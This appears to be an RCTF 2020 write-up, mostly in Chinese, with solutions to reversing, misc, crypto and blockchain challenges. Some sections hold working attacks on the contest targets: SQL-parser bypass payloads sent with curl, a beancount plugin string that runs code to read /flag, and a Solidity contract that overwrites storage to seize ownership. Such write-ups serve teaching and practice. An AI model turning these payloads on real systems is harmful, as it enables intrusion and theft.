file, err := parser.ParseFile(token.NewFileSet(), filename, nil, parser.AllErrors)
if err != nil {
return nil, errors.New("Syntax error")
}
if len(file.Imports) > 0 {
return nil, errors.New("Imports are not allowed")
}
// go build -buildmode=pie and run for 1s...
解题思路
题目接收一个Go源码文件,但是不允许任何外部库的导入. 你可以直接看原作者Stalkr的详细分析Golang data races to break memory safety
点击查看完整的利用代码
0c
https://github.com/CTF-TASKS/jvmscript
master分支: 题目附件 git archive master -o 0c.zip
deploy分支: 带log的服务器版本
exp分支: npm test
执行exp
BUG在写入constant pool的时候utf8编码的长度计算错误, 使用了编码前的字符长度而不是编码后的长度, 因此输入汉字字符串就能控制文件内容.
参考官方文档构造出一个打印FLAG的class文件即可
exp在github的exp分支.需要注意的是invokexxx的字节码编码后前面会多一个c2, 需要在前面添加指令集把它吃掉. 以及readline的实现有点小问题, 用脚本输入多行代码时会丢掉部分行的数据, 可以用分号合成一行也可以sleep一下再发下一行.
RE
My Switch Game
开发一个Switch平台上的控制台贪吃蛇游戏,基于Switch Homebrew进行开发,通过手柄控制游戏操作并进行抓包。解题需要逆向游戏软件的源代码并分析通信数据包,知道用户操作和程序代码的执行过程,以还原出flag。
贪吃蛇游戏的源码是基于这个项目编写的:https://github.com/CompSciOrBust/Cpp-Snake-NX/
关于出题所用资料等详细的信息参见:https://github.com/Littlefisher619/MyCTFChallenges/blob/master/CTFChallengeSwitch
Flag: RCTF{ddzljsqpaw6h31an5tgeaz75t0}
解题思路:
- 逆向工程(需要用到IDA插件:nxo64/SwitchIDAProLoader):
- 通过逆向游戏软件得知flag的seed生成规则:
seed = nTail*4 + dir - 1
找到一个通过
xor 0x44
加密的数组,存储着flag的格式信息得出前五个字符和最后一个字符是RCTF{},其他flag的字符的生成是逐字符的,且基于贪吃蛇的长度以及贪吃蛇得分前最后的方向:
flagchar = flagalphabet[rand() % strlen(flagalphabet)]
另外,下一个得分点出现的位置是在flagchar生成前进行生成,
fruitX = rand() % width;
fruitY = rand() % height;
-
通过分析数据包得知Output reports存在RUMBLE_DATA,即Switch控制手柄振动的数据,而且经过剔除后刚好是32个。因为除了吃到分数之外,没有理由会振动手柄,因此可以断定贪吃蛇吃到分的时候,手柄会振动。根据它来确定贪吃蛇吃到分的时候的方向。
-
通过逆向游戏软件得知贪吃蛇的方向由手柄上的方向键控制
-
通过逆向得出游戏的随机数生成算法,以便于进行随机数攻击(不同编译器的rand()实现是不同的)
unsigned __int64 rand()
{
__int64 v0; // x0
unsigned __int64 v1; // x1
v0 = sub_710007F0A0();
v1 = 6364136223846793005LL * *(_QWORD *)(v0 + 232) + 1;
*(_QWORD *)(v0 + 232) = v1;
return (v1 >> 32) & 0x7FFFFFFF;
}
**也可以使用同样的编译器,写一个专门用于根据我们给定的seed来生成随机数的游戏软件,并在模拟器里运行,下面的解题步骤将采用这种办法。**
- 搭建解题环境
-
解析log,照着题目描述里的那个github project里的解析log的脚本改一下:https://github.com/mart1nro/joycontrol/blob/master/scripts/parse_capture.py
根据手柄发送振动的数据包的时间,在此时间之前找到贪吃蛇得分前最后的方向,再计算seed,输出一下所有计算得到的seed
import argparse
import struct
from joycontrol.report import InputReport, OutputReport, SubCommand
import math
DIR = {
0b00001000: ('LEFT', 1),
0b00000100: ('RIGHT',2),
0b00000010: ('UP', 3),
0b00000001: ('DOWN', 4)
}
RUMBLE = [4, 180, 1, 78, 4, 180, 1, 78]
def _eof_read(file, size):
data = file.read(size)
if not data:
raise EOFError()
return data
def get_rumble_timestamps():
rumble_timestamps = [i[0] for i in output_reports if i[1].get_rumble_data() == RUMBLE]
return rumble_timestamps
def get_dir_inputs():
dir_inputs = [(i[0], i[1].data[6]) for i in input_reports if i[1].data[6] & 0b00001111 != 0]
return dir_inputs
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('capture_file')
args = parser.parse_args()
input_reports = []
output_reports = []
with open(args.capture_file, 'rb') as capture:
try:
start_time = None
while True:
time = struct.unpack('d', _eof_read(capture, 8))[0]
if start_time is None:
start_time = time
size = struct.unpack('i', _eof_read(capture, 4))[0]
data = list(_eof_read(capture, size))
if data[0] == 0xA1:
report = InputReport(data)
input_reports.append((time, report))
elif data[0] == 0xA2:
report = OutputReport(data)
output_reports.append((time, report))
else:
raise ValueError(f'Unexpected data.')
except EOFError:
pass
dir_input_list = get_dir_inputs()
rumble_timestamps = get_rumble_timestamps()
print(dir_input_list)
print(rumble_timestamps)
tailcnt = cursor = 0
seeds = []
for timestamp in rumble_timestamps:
while cursor < len(dir_input_list) and dir_input_list[cursor][0] <= timestamp:
cursor += 1
lastdir_before_rumble = dir_input_list[cursor-1][1]
seed = tailcnt*4 + DIR[lastdir_before_rumble][1] - 1
seeds.append(str(seed))
tailcnt += 1
print(len(seeds), seeds)
open('seeds.txt', 'w').write(' '.join(seeds))
-
根据这个最简单的Template:https://github.com/switchbrew/switch-examples/tree/master/templates/application
编写用于生成随机数的C代码,编译并于模拟器上运行,顺便计算flag
const int width = 77;
const int height = 41;
const char* flagalphabet = "0123456789abcdefghijklmnopqrstuvwxyz_";
const char* flagformat="RCTF{}";
const int flaglen = 32;
void solve(){
FILE *seeds = fopen("seeds.txt", "r"),
*flag = fopen("flag.txt", "w");
if(seeds==NULL || flag==NULL){
puts("failed to open file");
return;
}
int seed, x, y, flagchar;
puts("======Solving...");
for(int i=0;i<flaglen;i++){
if(i!=0){
fscanf(seeds,"%d",&seed);
srand(seed);
x = rand() % width, y = rand() % height;
if(i < strlen(flagformat) - 1)
flagchar = flagformat[i];
else if(i == flaglen - 1)
flagchar = flagformat[strlen(flagformat) - 1];
else flagchar = flagalphabet[rand() % strlen(flagalphabet)];
}else x=-1, y=-1, flagchar = flagformat[0];
printf("[Seed=%d] (%d, %d) %c\n", seed, x, y, flagchar);
fputc(flagchar, flag);
}
fclose(seeds);
fclose(flag);
}
panda_trace
如题目描述,本题本意是恶意软件分析入门,让大家下一个很优秀框架的基本使用。Malware analysis 101。 题⽬的两个文件,一个 qemu 的快照,⼀个是 log 文件,使用 panda(https://github.com/panda-re/panda) record 功能记录的,选手可以使⽤他⾃⼰提供的插件来进⾏污点分析。将文件更改为符合快照命名规则的名称,即可进行 reply。
可以使⽤ stringsearch 插件搜索 RCTF,利⽤ memdump 的plugin dump 内存。 strings grep一下就会发现flag。
cipher
mips64 大端序,理清程序逻辑,写出对应的解密函数即可,但是由于key的初始值是由rand()函数来的,所以需要爆破下key
exp:
from struct import pack, unpack
def ROR(x,r):
return (x>>r)|((x<<(64-r))&0xffffffffffffffff)
def ROL(x,r):
return (x>>(64-r))|((x<<r)&0xffffffffffffffff)
def R(x,y,k):
x = ROR(x,8)
x = (x+y)&0xffffffffffffffff
x^=k
y = ROL(y,3)
y^=x
return x,y
def RI(x,y,k):
y^=x
y = ROR(y,3)
x^=k
x = (x-y)&0xffffffffffffffff
x = ROL(x,8)
return x,y
def encrypt(t,k):
y=t[0]
x=t[1]
b=k[0]
a=k[1]
x,y = R(x,y,b)
for i in range(31):
a,b = R(a,b,i)
x,y = R(x,y,b)
return y,x
def decrypt(t,k):
y=t[0]
x=t[1]
b=k[0]
a=k[1]
keys = []
for i in range(32):
keys.append(b)
a,b = R(a,b,i)
for i in range(32):
x,y = RI(x,y,keys[31-i])
return y,x
def solve():
with open('ciphertext', 'rb') as f:
ct = f.read().strip()
print ct.encode('hex')
key = -1
for i in range(65536):
t0 = unpack('>Q',ct[:8])[0]
t1 = unpack('>Q',ct[8:16])[0]
x,y = decrypt([t0,t1],[i<<48,0])
ans = pack('>Q',x)+pack('>Q',y)
if ans.startswith('RCTF'):
key = i
break
assert key!=-1
print key
ans = ''
for i in range(len(ct)/16):
t0 = unpack('>Q',ct[i*16:i*16+8])[0]
t1 = unpack('>Q',ct[i*16+8:i*16+16])[0]
print hex(t0), hex(t1)
x,y = decrypt([t0,t1],[key<<48,0])
ans += pack('>Q',x)+pack('>Q',y)
print ans
solve()
rust-flag
https://github.com/CTF-TASKS/rust-flag
题目附件在 Github Actions 页可以下载
逆向出stream_equals即可通过下断点拿到flag.
go-flag
https://github.com/CTF-TASKS/go-flag
题目附件在 Github Actions 页可以下载
一段伪C代码编译成Brainfuck再转成Go程序, 每个操作符都是一个goroutine. 通过WaitGroup来互相唤醒.
https://github.com/strazzere/golang_loader_assist 逆向go可以用这个脚本.
这两题只要从输入输出往回逆并且调试就很简单.
play_the_game
这是一个五子棋游戏,发现连输电脑10次以后出现提示:
我们得到了 一个AES key:welcomeToRCTF
反编译发现activity_main.xml中有一个隐藏的textview
secret:2nDrqiRRmZLpLjuHE2yOI9Kj/JUxNKIEXyYvtWB8lWdLO/zNGgCCrolt1mLS+LwAz0TQdWT1Dxy0kok+a+fn8A==
尝试AES解密:使用ECB PKCS7 128位成功解出明文
As long as you win the computer 99 times, you can get the flag!
只要赢电脑99次就能拿到flag
逆向代码逻辑,发现电脑操作和输赢判断写在NDK里,NDK经过OLLVM加密
两种思路:
- 逆向NDK逻辑,还原解密代码
- 想办法让自己赢电脑99次
0x01、使用deflat反混淆ollvm,以下是还原的解密代码:
a = 0x13f4e6a3
b = 0xdef984b1
for i in range(99):
a = a + i + 1
m = a % 4
if (m == 0):
b = (b ^ a) & 0xffffffff
elif (m == 1):
b = (b * (i + 1)) & 0xffffffff
elif (m == 2):
b = (b << (( i + 1 ) % 8 )) & 0xffffffff
elif (m == 3):
b = (b + a) & 0xffffffff
print(hex(b))
0x02、让自己赢电脑99次,在dex patch的方法有很多,这边介绍一种
发现QiPanView.class中,this.u = 1时代表玩家,this.u = 2时代表电脑。
将这两个标志对调,然后输电脑99次(方法有多种)
MISC
Animal
首先message是Arudino的小灯程序,根据灯泡时长的长短,可以解析为摩斯电码,分析常见的电台交流格式,可以获取到真正的通信内容为88,查询意思可以得到解压密码Love and kisses,可以获得一个QR码和一个蓝牙日志cia文件,QR码为动物之森的贴图解析,解析得到可以获得鲸鱼🐳emjoy,分析蓝牙文件,可以提取出一张经过steghide隐写的图片
steghide extract -sf moon.jpg
解压出一张图片base64编码的aHR0cHMlM0EvL216bC5sYS8yV0VqbjVh,解码得到https://mzl.la/2WEjn5a,用前面获得的🐳解密得到flag
Flag:RCTF{N0t_1s_@_B@ss}
bean
plugin "beancount.plugins.commodity_attr" "__import__('sys').stdout.write(open('/flag').read())"
Switch Pro Controller
Switch手柄连接到装有Steam的Windows,打开Steam好友聊天窗口,通过按左摇杆三下启动屏幕键盘,启动屏幕录制和Wireshark抓包,并输入flag。选手根据录制的视频和USB数据包还原出flag。flag遵循RCTF{…}的格式。
关于出题所用资料等详细的信息参见:https://github.com/Littlefisher619/MyCTFChallenges/blob/master/CTFChallengeSwitch
Flag: RCTF{5witch_1s_4m4z1ng_m8dw65}
import ffmpeg
# install ffmpeg to your system and then pip3 install ffmpeg-python
import numpy
import cv2
import json
KEY_A = 0b00001000
TIMEDELTA = 3
JSON_FILE = 'easy.json'
VIDEO_FILE = 'easy.mp4'
# Timedelta can be calculated by when the first packet that
# means KEY_A pressed appears and when the first character
# appears on the textbox in the video
# It help us locate the KEY_A-Pressed frames in the video.
f = open(JSON_FILE, 'r', encoding='utf-8')
packets = json.loads(f.read())
f.close()
# filter the packets which means A is pressed and extract time and frameNo
buf = []
for packet in packets[735:]:
layers = packet['_source']['layers']
packetid = int(layers['frame']['frame.number'])
time = float(layers['frame']['frame.time_relative'])
try:
capdata = bytearray.fromhex(layers["usb.capdata"].replace(':', ' '))
if capdata[3] & KEY_A == KEY_A:
buf.append([packetid, time])
print(packetid, time, [bin(data)[2:] for data in capdata[3:6]])
except KeyError:
pass
print(buf)
# seperate sequences from filtered packets and calculate the average time for each sequence
time_avg = []
_lastid = buf[0][0]-2
_sum = 0
_sumcnt = 0
_cnt = 0
for data in buf:
_cnt += 1
if data[0]-_lastid==2 and _cnt!=len(buf):
_sum+=data[1]
_sumcnt+=1
else:
time_avg.append(_sum/_sumcnt)
_sum = 0
_sumcnt = 0
_lastid = data[0]
print(time_avg)
# extract frames from the video one by one
for t in time_avg:
out, err = (
ffmpeg.input(VIDEO_FILE, ss=t)
.output('pipe:', vframes=1, format='image2', vcodec='mjpeg')
.run(capture_stdout=True)
)
image_array = numpy.asarray(bytearray(out), dtype="uint8")
image = cv2.imdecode(image_array, cv2.IMREAD_COLOR)
cv2.imshow('time={}'.format(t), image)
cv2.moveWindow('time={}'.format(t), 0, 0)
if cv2.waitKey(0) == 27:
break
else:
cv2.destroyAllWindows()
listen
依据题目的暗示,本题跟常规的音频隐写关系不大,核心就是需要听。对于有经验的CTFer来说,肯定是见识过各种编码或者加密,那么,音乐是不是也有可能是一段加密后的密文呢?
如果有一定乐理基础的朋友,应该是很容易听出音频的部分乐段是有重复的,那么就更容易联想到可能不同的乐段代表着一些内容。
进行关键字搜索,百度 “音乐密码学”或者google “music cryptography”,很容易找到以下俩篇文章,当然其实内容基本差不多
https://www.freebuf.com/articles/wireless/167093.html
https://www.atlasobscura.com/articles/musical-cryptography-codes
如果熟悉五线谱的话,结合音频,其实很容易定位到下面这个密码本,但是考虑到照顾大部分的选手,我的题目表述中给了关键字“1804”,那么就确定了密码本是这张图
因为都是单音,如果音乐基础比较厉害的话完全可以写出音频的五线谱,然后对着密码本翻译。
如果音乐基础差一点,可以结合一些音频软件进行辅助,一个音一个音的去辨认,耐心点听也是能做出来的。
如果完全没有音乐基础,可以速学一下五线谱和基础乐理(,我相信CTFer的学习能力(。
最终音频解出的内容为 ufindthemusicsecret
flag就是RCTF{ufindthemusicsecret}
mysql_interface
题目描述
https://mysql-interface.rctf2020.rois.io
import (
"github.com/pingcap/parser" // v3.1.2-0.20200507065358-a5eade012146+incompatible
_ "github.com/pingcap/tidb/types/parser_driver" // v1.1.0-beta.0.20200520024639-0414aa53c912
)
var isForbidden = [256]bool{}
const forbidden = "\x00\t\n\v\f\r`~!@#$%^&*()_=[]{}\\|:;'\"/?<>,\xa0"
func init() {
for i := 0; i < len(forbidden); i++ {
isForbidden[forbidden[i]] = true
}
}
func allow(payload string) bool {
if len(payload) < 3 || len(payload) > 128 {
return false
}
for i := 0; i < len(payload); i++ {
if isForbidden[payload[i]] {
return false
}
}
if _, _, err := parser.New().Parse(payload, "", ""); err != nil {
return true
}
return false
}
// do query...
解题思路
题目接收一个有限字符集的SQL语句,并且需要绕过一个MySQL解析器的分析,不过该解析器在词法或者语法方面都存在多种绕过。
打破词法解析
通过阅读mysql-server lexer的源码,不难发现它支持以’–‘开头,并以标记为_MY_SPC
或_MY_CTR
的字符为结尾风格的行注释,而本题使用的解析器却使用了unicode.IsSpace()来鉴别空格。这导致两者在词法解析层面的不一致,我们可以利用这一点绕过词法解析。
字符 | MySQL Server | Parser |
---|---|---|
0x01 – 0x08, 0x15 – 0x19 | _MY_CTR | 不识别 |
0x14 | _MY_SPC | 不识别 |
0x09 (\t), 0x10 (\n), 0x11 (\v), 0x12 (\f), 0x13 (\r) | _MY_CTR 或 _MY_SPC | Not Allowed |
0x20 (space) | _MY_SPC | Space |
0x85 | Unrecognized | Space |
0xa0 | 不识别 | Not Allowed |
上表列举了一些两者存在解析不一致的字符,如果你想找到更多字符,这些链接可能对你有用:
Now it’s quite clear to solve this challenge, here are some examples:
至此,我们可以很容易地打破词法解析器,从而绕过解析拿到flag,下面列举一些特殊的例子,
\x01
不被本题的解析器允许放在--
之后,然而MySQL服务器却允许$ echo "select flag from flag--\x01" select flag from flag-- $ curl https://mysql-interface.rctf2020.rois.io --data "sql=select%20flag%20from%20flag--%01&pow=000" RCTF{jUst_bYp@ss_a_mysql_parser_b6bdde}
\x85
被本题的解析器允许放在--
之后,然而MySQL服务器却不允许
$ echo "select flag from flag --\x85tbl where --\x85tbl.flag+1"
select flag from flag --�tbl where --�tbl.flag+1
$ curl https://mysql-interface.rctf2020.rois.io --data "sql=select%20flag%20from%20flag%20%85rois%20where%20--%85rois.flag%2b1&pow=000"
RCTF{jUst_bYp@ss_a_mysql_parser_b6bdde}
打破语法分析
除了词法解析外,在语法分析层面也存在多个绕过。通过对比本题解析器的yacc源码和MySQL Server的yacc源码,不难发现,二者存在着显著的差异,这让我们在语法分析层面绕过异常简单。
表名(Table Factor)
MySQL Server源码中允许的表名如下所示:
// copied from https://github.com/mysql/mysql-server/blob/5.7/sql/sql_yacc.yy#L13059
table_ident:
ident
| ident '.' ident
| '.' ident
;
但是在解析器中却存在着点不同:
// copied from https://github.com/pingcap/parser/blob/master/parser.y#L6765
TableName:
Identifier
| Identifier '.' Identifier
;
两者之间的差别,让我们可以直接绕过语法解析
$ echo "select flag from .flag"
select flag from .flag
$ curl https://mysql-interface.rctf2020.rois.io --data "sql=select%20flag%20from%20.flag&pow=000"
RCTF{jUst_bYp@ss_a_mysql_parser_b6bdde}
关键字冲突(Keyword Conflicts)
当分析两个解析器差异时,关键字冲突永远是最容易发现的,而且一定会出现。由于有太多的方式来发现关键字冲突,这里只列举一个抛砖引玉。
由于MySQL源码与本题所使用的解析器,有着不同的关键字,而且标识符的属性也存在差异。题目的解析器所使用的关键字可以在这里找到大部分。直接把关键字逐个提供给解析器分析,就能找到很多绕过的方法,如下:
- “select flag EXCEPT from flag”
- “select flag NVARCHAR from flag”
- “select flag CURRENT_ROLE from flag”
- “select flag PRE_SPLIT_REGIONS from flag”
- “select flag ROW from flag”
- “select flag ERROR from flag”
- “select flag PACK_KEYS from flag”
- “select flag SHARD_ROW_ID_BITS from flag”
$ echo "select flag EXCEPT from flag"
select flag EXCEPT from flag
$ curl https://mysql-interface.rctf2020.rois.io --data "sql=select%20flag%20EXCEPT%20from%20flag&pow=000"
RCTF{jUst_bYp@ss_a_mysql_parser_b6bdde}
非预期解
在比赛期间,天枢用了HANDLER Statement(我完全没想到的方式)成功绕过解析,并且拿到了三血!
$ echo "handler flag open" && echo "handler flag read first" && echo "handler flag close"
handler flag open
handler flag read first
handler flag close
$ curl https://mysql-interface.rctf2020.rois.io --data "sql=handler%20flag%20open&pow=000"
Empty set
$ curl https://mysql-interface.rctf2020.rois.io --data "sql=handler%20flag%20read%20first&pow=000"
RCTF{jUst_bYp@ss_a_mysql_parser_b6bdde}
$ curl https://mysql-interface.rctf2020.rois.io --data "sql=handler%20flag%29close&pow=000"
Empty set
最后,不只是上文提到的这些,该解析器中还存在很多很多绕过的地方…
CRYPTO
easy_f(x)
比去年简单很多很多的一个签到密码题。
from pwn import *
from hashlib import sha256,sha512
import re
import sys
from sage.all import *
Nbits = 768
Pbits = 512
p = remote("127.0.0.1", 2333)
p.recvuntil("M=")
M = int(p.recvuntil('\n',drop=True))
print (M)
p.recvuntil('\n',drop=True)
p.send(str(Pbits+1) + "\n")
key = []
f = re.compile(r"f\((\d+)\)=(\d+)")
for i in range(Pbits+1):
data = f.findall(p.recvuntil('\n',drop=True))[0]
key = key + [(int(data[0]), int(data[1]))]
T = key[0:Pbits+1]
P = PolynomialRing(GF(M),'x')
ret = P(0)
for x, y in key:
r = P(1) * y
for xx, yy in key:
if x == xx:
continue
r = r * P('(x - %d)/(%d - %d)'%(xx, x, xx))
ret = ret + r
# print ret
print '*'*100
print ret[0]
p.send(str(ret[0]) + "\n")
print p.recvuntil("\n")
infantECC
- GF( p) 上形式为 y^2 = x^3 + b 的 ECC 在 p % 3 == 1 时的 cardinality 为 p+1
- Zmod(pq) 上满足上述条件的 ECC 的 cardinality = (p+1)(q+1), 类似于 RSA 的 (p-1)*(q-1)
- 这一题类似于 RSA 中 N 为 1024 bit, d 为 412 bit (> 0.292), 同时 leak d 的低 256 bit.
- 论文复现, 三元的 coppersmith attack, 需要自己构造格并且 LLL. 之前 github 上的 Boneh Durfee attack 的脚本不太好改.
solution:
https://gist.github.com/ruan777/37b85db2c38f41a081c98f9bfbb742bd
MultipleMultiply
- 不断请求直到 p-1 足够光滑. 计算 GF(p) 上的 DLP, 问题转化为背包问题.
- LLL 效果不佳大概率做不出来, 需要用 BKZ 算法.
- 多次 BSGS 求 DLP 比较耗时, 有意者建议自己实现 BSGS, 同时求解 90 个数的 DLP.
solution:
https://gist.github.com/ruan777/37b85db2c38f41a081c98f9bfbb742bd
区块链
roiscoin
Analyse
- 题目直接给了源码
- 题目有非预期:
beOwner
在合约账户余额为0
的情况下可以直接成为owner
,其实本意是让它是个蜜罐函数,这个没有控制好条件,本文不介绍非预期的做法 - 抛除非预期,这里介绍下题目正常的逻辑,考点有三个:
- 预测随机数: 这里的随机数是未来的随机数,可以说是预测未来的随机数,看似不可能,关键在于
guess
的范围是2
,也就是只有0
和1
,所以可以爆破 - 未初始化的结构体
storage
覆盖问题:settle
中的failedlog
未初始化会造成storage
变量覆盖,会覆盖codex
数组长度 - 数组任意写: 当数组长度被修改后,可以覆盖
owner
,当然这对数组长度有一定的要求,根据情况选择合适的数据,这里是用msg.sender
覆盖数组长度的高20
字节
- 预测随机数: 这里的随机数是未来的随机数,可以说是预测未来的随机数,看似不可能,关键在于
exp
- 部署
hack
合约,这里需要注意:- 数组在
storage5
位置,keccak256(bytes32(5)) = 0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0
- 当我们修改
codex[y],(y=2^256-x+6)
时就能修改slot 6
,从而修改owner
, 其中x = keccak256(bytes32(5))
- 计算出
y = 114245411204874937970903528273105092893277201882823832116766311725579567940182
, 即y = 0xfc949c7b4a13586e39d89eead2f38644f9fb3efb5a0490b14f8fc0ceab44c256
- 所以数组的长度
codex.length
要> y
, 由于msg.sender
覆盖数组长度的高20
字节,所以其实是变相要求address(msg.sender) > y
, 我们可以生成以0xfd
或0xfe
或0xff
开头的地址即可简单满足这一点
- 数组在
- 解题步骤
- 调用
hack1
- 调用
hack2
一次,这一次需要满足result = 1
,否则继续调用hack2
,直至这一次成功 - 调用
hack3
两次,这两次需要满足result = 0
,否则继续调用hack3
,直至两次为止 - 调用
hack4
修改owner
,这里有个坑点,题目给的合约不是真正的合约,因为调用hack4
总是不能成功修改owner
, 逆向合约,可以看出revise
函数有问题,额外要求msg.sender
最低位字节是0x61
,所以对msg.sender
总共有两点要求: 大于y
并且最低字节是0x61
,这里的考点是所见不一定是所得,即使在etherscan
上看到的也不一定是真的,因为它只检查abi
接口 - 调用
hack5
- 调用
contract hack {
uint public result;
address instance_address = 0x7be4ae576495b00d23082575c17a354dd1d9e429 ;
FakeOwnerGame target = FakeOwnerGame(instance_address);
constructor() payable{}
// 随机猜一个数0或1
function hack1() {
target.lockInGuess.value(1 ether)(0);
}
// 这里先让result=1,即先猜失败
function hack2() {
result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;
if (result == 1) {
target.settle();
}
}
// 这里让result=0,即猜测成功,连续调用两次
function hack3() {
result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;
if (result == 0) {
target.settle();
}
}
// 修改owner
function hack4() {
target.revise(114245411204874937970903528273105092893277201882823832116766311725579567940182,bytes32(address(this)));
}
function hack5() {
target.payforflag();
}
}